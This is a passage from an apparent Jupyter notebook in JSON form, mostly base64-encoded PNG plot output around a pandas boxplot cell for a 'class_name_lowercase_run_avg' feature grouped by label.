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\n70tkH3sAAAAASUVORK5CYII=\n", + "text": [ + "" + ] + } + ], + "prompt_number": 161 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('class_name_lowercase_run_avg', 'label')\n", + "plt.ylabel('Avg Run of Lower Case Letters')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 162, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "iVBORw0KGgoAAAANSUhEUgAAA9cAAAE7CAYAAADXbnL5AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3XmYJXV56PHvy6hsIwwIKmq0QUVEg+MWULl6ADG4IXpd\nYkRmFI0aNXIj1yuK0oNrXMe4Rg3MuKEGIooaN6BQCBFFB0WjiNBiRHaGVQWZ9/5R1fShp/v0qe7q\nrnO6v5/nOc85VfWrqneOD1a/57e8kZlIkiRJkqTZ26LtACRJkiRJGnYm15IkSZIkzZHJtSRJkiRJ\nc2RyLUmSJEnSHJlcS5IkSZI0RybXkiRJkiTNkcm1JEmSJElz1FpyHRG7R8SxEfFfEXFFRFwfET+O\niDdExDZTtH9QRJwcEddExI0R8d2I2K+N2CVJkiRJ6haZ2c6NI94J/D3wZeC/gFuB/YHnAj8B9snM\nP1Zt7w+cA9wCrAWuB14KPBR4cmaeuuD/AEmSJEmSKm0m148ELsjMGybtfwvwRuDVmfnhat8XgWcC\nj8zMn1T7tgV+BvwxM/dY0OAlSZIkSerS2rDwzDx3cmJd+WL1/hC4PYk+GCjGE+vq/JuATwK7R8Sj\n5zteSZIkSZKmM4gLmt2ner+8et8LuAtw9hRtv1+9P2q+g5IkSZIkaToDlVxHxDLgTZTzrz9X7b5X\n9f67KU4Z33fveQ5NkiRJkqRp3antACZZC+wDHJWZv6r2ja8c/qcp2v9xUhtJkiRJkhZc3z3XEfHA\niDho0r59IuKrEXFWRLxsLoFUC5m9EviXzPynrkM3V+9bTnHaVpPaSJIkSZK04Or0XL8T2BH4BkBE\n7AR8HVhO2YP8kYi4IjO/VDeIiBilXCH8uMx8xaTDl1bvUw39Ht+32ZDxiGhnGXRJkiRJ0qKVmTHV\n/jrJ9aOAT3RtPx/YDng48EugAP4BqJVcV4n1m4F1mfmSKZr8lHJI+GOnOLZP9f7Dqa7dVpkxSdNb\nvXo169atazsMSZIG3sqVq9mwYV3bYUjqEjFlXg3UW9BsZ+7YQ3wQ8J+Z+dPMvAX4AlX5rBqBvZky\nsf5UZr54qjaZeSNwCtCJiL26zl0OvISyVvYP6txXkiRJkqQm1em5vglYARARdwL2BT7YdfwPlD3Z\nfYmIVwKjwCXAqRFx6KQml2Xmd6rPRwEHAN+KiPcDNwAvBXYBnlrj3yCpZSMjI22HIEnSUFi5cqTt\nECTVUCe5/jlwWER8Gng2cFfg213H7wtcWeN6jwIS+Atg/RTHC+A7AJn564h4HOW879dT1r0+Fzgo\nM0+rcU9JLet0Om2HIEnSUFi5stN2CJJqqJNcvwv4CnBFtf1j4Htdx58E/Kjfi2Xmi4AX1Wj/C+CQ\nfttLkiRJw2zDhrYjkFRH38l1Zn4tIvYHngFsBD6UmZsAIuJulPOxPzUvUUqSJEmSNMCinxW1I2JL\nYG/KedAXzHtUDYiIdLVwSZIkDZOiKF8Aa9bAMceUnzud8iWpXREx51Jcm4DTgH8EhiK5liRJkobN\n5CR6dLSlQCTV1lcprsy8FbgMmL6olyT1oRj/OV6SJPU0Nla0HYKkGurUuf4i8NyIqHOOJEmSpFlY\nubLtCCTV0deca4CI2BP4LHAtsJZyePjNk9tl5iVNBjhbzrmWJEmSJDWp15zrOsn1pj6aZWYuqxPc\nfDG5liRJkiQ1qYkFzQCO7aON2ayknoqioONyp5IkzchnpjRc6tS5Hp3HOCRJkiRJGlp9DwsfNg4L\nlyRJkiQ1qdew8Forf0fEdhFxTEScFRG/iojHVPt3iog3R8QeTQQsSZIkSdIw6Tu5joidgR8CRwN3\nA+4PbF0dvhpYBbys6QAlLS7WuZYkqT9r1xZthyCphjoLmr0VuAewD/Ab4IrxA5mZEfEVYP9mw5Mk\nSZKWpg0b2o5AUh11hoU/DfhoZp47zfGLgPvOPSRJi5mrnkqS1J+RkU7bIUiqoU7P9U7Ar3oc3wRs\nNbdwJEmSpKWrKMoXwJo1E/s7nfIlaXDVSa4vp5xnPZ2VwCVzC0fSYmfNTkmSptedRI+NFYyOdlqM\nRlIddYaFfw04PCLuNflAROwNHAZ8uanAJEmSJEkaFn3XuY6IXShXC18GfAV4CfBpYEvgWcClwCMz\n8+r5CbUe61xLkiRpmBWFQ8GlQdOrznXfyXV1ofsCH6Rc3Gz8ggl8HXhFZv7PHGNtjMm1JEmSJKlJ\nvZLrOsPCycxLMvMZwI6UJbkeA9w9M58+SIm1pMFlnWtJkvrjM1MaLn0n1xFxWETsCpCZ12XmOZn5\n/fFh4BExEhGHzVegkiRJkiQNqjpzrjcBh2bm56Y5/jfAZzNzWYPxzZrDwiVJkiRJTWpsWPgM7kw5\n/1qSJEmSpCWlkeQ6InYAngL8vonrSVq8nD8mSVJ/fGZKw6Vnch0Rx0TEpoi4rdr1mWq7+3UbcDXw\nPODz8x2wJEmSJEmD5k4zHD8P+FT1+TDge8DFk9okcCNwNnBCo9FJWnQ6FuyUJKlPnbYDkFRDz+Q6\nM08GToZyNXDgrZn5nfkPS5IkSVraigL8TVoaHnXmXB8P/Hq6g5biktQP549JktSfsbGi7RAk1TDT\nsPBuxwOHsvmw8HH7VG0+Nc1xSZIkST0URfkCWL8eRkbKz52OvdjSoKuTXM/EUlySZuSca0mSpnfH\nJLrD6GhroUiqyVJckiRJkiTNkaW4JC0o51xLktSfk04q2g5BUg2W4pIkSZIG0MXTrXQkaSBFZn/T\npCOiYIhKcUVE9vtvkyRJkgbNihWwcWPbUUjqFhFkZkx1rO8515nZGZbEWpIkSRpGz3xmmVSvWAHX\nXTfx+ZnPbDsySTPpu+caICLuBLwAeBJwd+B1mfnjakGzpwOnZubv5iXSmuy5lgZTURSuGC5JUh+W\nLy+48cZO22FI6tKr57rvUlwRsQ3wbeAxwM3ANsAO1eEbgHdS1rl+45yilSRJkiRpyNQpxTUKPBJ4\nFrBr94HM/DPwJcoebUmalr3WkiT158ADO22HIKmGOsn1c4BPZObJlCuET3Yhk5JuSZIkSbPzmte0\nHYGkOuok1/cCNvQ4fjNw17mFI2mxs861JEn9WbeuaDsESTXUSa6vAe7d4/iewKVzC0eSJEmSpOHT\n94JmwHeAF0XEeycfiIhdgRcDn2kqMEmLk3OuJUmaXlGUL4D16zuMjJSfO53yJWlw9V2KKyIeCPwQ\n+B1wArAGeA+wCXg5cBvw8My8ZH5CrcdSXJIkSRpmo6PlS9Lg6FWKq+9h4Zn5K2B/4FbKxBrgSOB1\nwCXA/oOSWEsaXM65liSpP2NjRdshSKqhzrBwMvNc4GER8ZfAg4EALsjMH89HcJIkSdJStXJl2xFI\nqqPvYeEzXijiZcBrMnPPRi44Rw4LlyRJ0jArCudZS4OmkWHhfdgZ2KPB60mSJElLljOppOHSZHIt\nSTNyzrUkSf1xzrU0XGrNuZYkSZI0f+5YigtLcUlDxORa0oKyzrUkSdO7YxLdsRSXNEQcFi5JkiRJ\n0hz17LmOiNcC/S65/dgabSUtUUVR2HstSVIfVqwogE7LUUjq10zDwt+9IFFIkiRJugPrXEvDpWed\n64jo1LxeZuYZc4qoIda5liRJkiQ1qVed657J9XyLiKOARwCPBEaA32TmrtO0HQXePM2ljszM901q\nb3ItSZIkSWpMr+S67dXC3wZcDfwI2J7+5mwfAVw1ad+5DcclaZ4451qSpP74zJSGS9vJ9W6ZOQYQ\nEecD2/RxzsmZecm8RiVJkiRJUg2tDgvvNp5cZ+Zu0xwfpRwWvitwLXBzZv65x/UcFi5JkiRJakyv\nYeHDWOf6J8BG4A8RcVZEHNR2QJIkSVLT1q5tOwJJdQxTcn0t8C/Aq4CDgaOA+wFfi4hVbQYmqX9F\nUbQdgiRJQ2HduqLtECTV0Pac675l5gcm7fpqRBwHnA+8PyJOzMybWghNkiRJkrTEzSq5jogHAPcA\nfpaZG5sNqX+ZeU1EfAwYBR4LfLv7+OrVqxkZGQFgxYoVrFy58vYVF8d7z9x22+2F3e50OgMVj9tu\nu+22224P0vaJJ8L555fb550HK1cWrFjR4ZBDys9tx+e220tte/zz2NgYM6m1oFlEPB34AGVN6gQO\nzMzTIuIewH8Cr8/Mf+v7gne8ds8FzXqctwo4HvjbzPx8134XNJMkSdLQ6nSg6+97SQOgkQXNIqID\n/DtlXeo1wO0XzMzLgV8Dz5tTpLPzwOr98hbuLammwr8SJEnqy8aNRdshSKqh7+SasgzWT4B9gA9P\ncfxs4BFNBDVZRCyLiO2n2P8XwCuAqyh7ziVJkqRFYd99245AUh115lw/GjgmM2+LmLIX/H+AXerc\nPCJeSLniN8DOwJ0j4uhqeywzP1N9vitwcUR8CfgF5crhDwJeAmwDPD8z/1Tn3pLaMT6PRZIk9fbs\nZ3faDkFSDXWS6y2AP/Y4vhNwS837vxh4QvV5fIL0sdV7AYwn1zcDJwJ7A4cAy4ErgW8B78rMH9a8\nryRJkjTQiqKcdy1pONQZFv4L4H/1OP5U4Lw6N8/M/TJzi+q1rHqNb+/f1e6WzHxpZu6VmTtm5l0y\n896Z+VwTa2m4OOdakqT+jI0VbYcgqYY6PdefBD4YEd8BvjK+MyK2Bd5BWQrrsGbDkyRJkpaOophY\nIXz9eqiqytLp2IstDbq+S3FFOdH608DfAjdQzoO+ErgbZQ/48Zl5+DzFWZuluCRJkjTMRkfLl6TB\n0asUV98911WmemhEnAQcCjyYshzX94H1mXlSE8FKkiRJkjRs6gwLByAzvwR8aR5ikbQEFEXhiuGS\nJPVhxYoC6LQchaR+1VnQbEoRsVNEPLCJYCRJkiSVLryw7Qgk1dF3ch0Rh0XExyfteydwBfDLiPjP\niLhr0wFKWlzstZYkqT/nn99pOwRJNdTpuX4ZcOfxjYh4FPA64LvAx4FHA69tNDpJkiRJkoZAneT6\nAdyxjvVzgGuBv87Ml1OW6npOg7FJWoSscy1J0vTWrp0ou3XGGcXtn9eubTcuSTOrs6DZ9sB1XdsH\nAN/JzD9V2+cCL2wqMEmSJGmpOeKI8gWwcuVEzWtJg69Oz/XlwO4AEbEzsBL4Xtfx5cBtzYUmaTFy\nzrUkSf1ZsaLTdgiSaqjTc30q8MqIuBrYv9r3ta7juwO/ayowSZIkaSk75JC2I5BUR52e62OAS4F3\nAQcB78jMiwEi4s7As4EzGo9Q0qLinGtJkvpVtB2ApBr67rnOzN9GxEOBPYHrMvM3XYe3Bv4O2NBw\nfJIkSdKStMG/rKWhUmdYOJn5Z+AnU+y/Hji5qaAkLV7OuZYkqT8jI522Q5BUQ63kelxELAdWMMWw\n8sy8ZK5BSZIkSUtRUUysEL5mzcT+8ZJckgZXZGb/jSOeDxwNPBhIIKpD458zM5c1HeRsRETW+bdJ\nWhhFUdh7LUlSH1avLli3rtN2GJK6RASZGVMd63tBs4g4BPgssAz4F8pk+nPAF4E/U9a5PnbO0UqS\nJEmSNGTqDAs/EvgF8EhgW+BlwHGZeVq10NlZuKCZpBnYay1JUn+WL++0HYKkGuqU4toLWJ+Zf6Ac\nBg5lLzaZeT7wceCoZsOTJEmSlqbzz287Akl11EmulwFXVZ//UL1v33X8AuAvmwhK0uJlnWtJkvqz\ncWPRdgiSaqiTXP8OuB9AZt4MXAk8quv47sBNzYUmSZIkLS1r106sDH7eeROf165tNy5JM+t7tfCI\nWAfsnpmPrbY/DhwGvIMySX8dcEpmPnd+Qq3H1cIlSZI0zDqdibJckgZDr9XC6yxo9hHgkIjYpuq5\nPhr4K+CY6vjPKBc9kyRJkiRpSel7WHhmnpOZb6gSazLzCuDh1Wsv4GGZecn8hClpsXDOtSRJ/Xno\nQ4u2Q5BUQ52e681U467PaygWSZIkSZUHPKDtCCTV0bPnOiK2jogvRMTrZ2j3+og4ISK2bDY8SYuN\nda4lSerPxo2dtkOQVMNMw8IPB54FnDhDuxOB/w28pImgJEmSJEkaJjMNC38W8NXMvLBXo8y8MCJO\nAZ4NfLip4CQtPkVR2HstSdI0imJihfA1awqgA0yU5JI0uGZKrvcC3trntc6kXEFckiRJ0ix0J9Fj\nYzA62l4skuqZaVj4XYGNfV5rY9VekqZlr7UkSf0ZGem0HYKkGmZKrq8DdunzWves2kuSJEmaI3+P\nlobLTMn1ecDT+7zW04ENcwtH0mJnnWtJkvqzYUPRdgiSapgpuT4B2CciXtmrUUS8Atinai9JkiRp\njjbYbSUNlZmS608B3wc+GBGfi4hORKyIiC0iYvuI2C8iPku5Qvj3q/aSNC3nXEuS1B/nXEvDpedq\n4Zn554g4mLKO9d9Ur+xqEtX7d4FnZ+af5yVKSZIkaQm4Yymuif2W4pIGX2TmzI0iAngaZR3rhwLb\nAdcDPwVOysxT5jPI2YiI7OffJmlhWedakqT+rF5dsG5dp+0wJHWJCDIzpjo2U51rAKos9ZTqJUmS\nJEmSuvTVcz2M7LmWJEnSMCsKh4JLg6ZXz/VMC5pJkiRJkqQZmFxLWlDWuZYkqT/r1hVthyCpBpNr\nSZIkSZLmqK8FzSSpKa4ULknS9LpLca1f32FkpPxsKS5p8PWVXEfElsDewGWZecH8hiRJkiQtTZOT\n6NHRlgKRVFu/w8I3AacBB81jLJKWAOdcS5LUn7Gxou0QJNXQV3KdmbcClwFTLjkuSZIkqVnLl7cd\ngaQ66ixo9kXguRHhImiSZs0515Ik9WennTpthyCphjoLmn0S2A/4TkSsBS4Abp7cKDMvaSg2SZIk\nSZKGQp3k+vyuz51p2iSwbNbRSFr0iqKw91qSpGl0rxa+Zk3B+J/drhYuDb46yfWxfbTJ2QYiSZIk\nLXXdSfTYmKuFS8Ok7+Q6M0fnMQ5JS4S91pIk9WdkpNN2CJJqcHEySZIkaQD5e7Q0XGol1xGxXUQc\nExFnRcSvIuIx1f6dIuLNEbHH/IQpabGwzrUkSf058cSi7RAk1dD3sPCI2Bk4C9gV+DVwf2Dr6vDV\nwCpgB+D/NByjJEmStOSceWbbEUiqo07P9VuBewD7APt2H8jMBL4C7F/n5hFxVET8W0RcFBGbIuLi\nGdo/KCJOjohrIuLGiPhuROxX556S2uWca0mS+rNiRaftECTVUCe5fhrw0cw8d5rjFwH3rXn/t1HW\nF/gVcC09VhuPiPsD/wnsDfwT8H+B5cA3I+KAmveVJEmSBs7atRMrhp9xxsTntWvbjUvSzOqU4tqJ\nMgmeziZgq5r33y0zxwAi4nxgmx5t3wFsBzwyM39SnfMp4GfAhwHne0tDwDrXkiRN74gjyhfAypUF\nRdFpNR5J/avTc3055Tzr6awELqlz8/HEeiYRsS1wMFCMJ9bV+TcBnwR2j4